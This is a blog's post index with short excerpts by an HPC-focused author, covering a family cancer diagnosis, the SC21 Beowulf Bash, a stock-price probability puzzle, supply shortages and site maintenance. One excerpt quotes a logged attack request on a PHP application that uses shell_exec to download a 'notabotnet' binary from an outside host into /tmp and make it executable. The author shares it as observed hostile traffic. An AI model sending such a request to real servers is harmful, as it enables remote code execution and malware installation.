On this day 10 years ago my wife called me at SC11

... and told me the results of a biopsy, that began this journey.  I was ready to pack up our booth and come home, but she said "stay".  We had an appointment scheduled with the oncologist a few weeks out (first available). The (current) epilog.  She is teaching AP Statistics, and…

Beowulf Bash at #SC21 !

Ill be there.  Virtually.   For those who don't know about the bash, have a gander at the website.  Kudos to Doug, Lara, and the rest of the team to make something that works for both virtual attendees, as well as in-person. The virtual event will start at 8pm CT/9pm…

A fun saturday morning simulation

After walking the dogs this morning, I peaked at twitter, and found this For those who prefer text to the image, the question is posed, what is the probability of stock B being of higher value than A, given both start with the initial value of $100/share.  Stock A…

By their queries, shall you know them

So this appeared in my logs [15/Oct/2021:15:48:15 +0000] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://x.y.z.t/notabotnet/notabotnet.x86 -O /tmp/.notabotnet; chmod 777…

Disruptive events

Amazing that I wrote this March 2o2o.  In this, I wrote Side effects of inability to manufacture and ship products are high prices and little inventory … shortages in other words. These are being postulated as starting to show up in market within the next month or two. And again, this…

The old site is up

Here Or https://blog.scalability.org .  This is the hugo blog that was basically unusable from a UX point of view.  It incorporates the old Wordpress site posts.  So everything is there.  Minus a post people have been asking me about, so I have to go spelunking through a database.…

How to comment

Below each post, you will see something that looks like this ... You've got a couple of choices, you can create an account (you will see a sign in link on this section, that will let you create an account), or you can be anonymous.  Either way, you can type a…

Finally fixed the cert issue ...

So ... I had switched over to LetsEncrypt certs a few years ago, and built some automation around certbot for updates.  This worked well, when the site was basically a few servers which never changed. Fast forward to this year, in revamping the blog, and incorporating locally hosted comments versus a…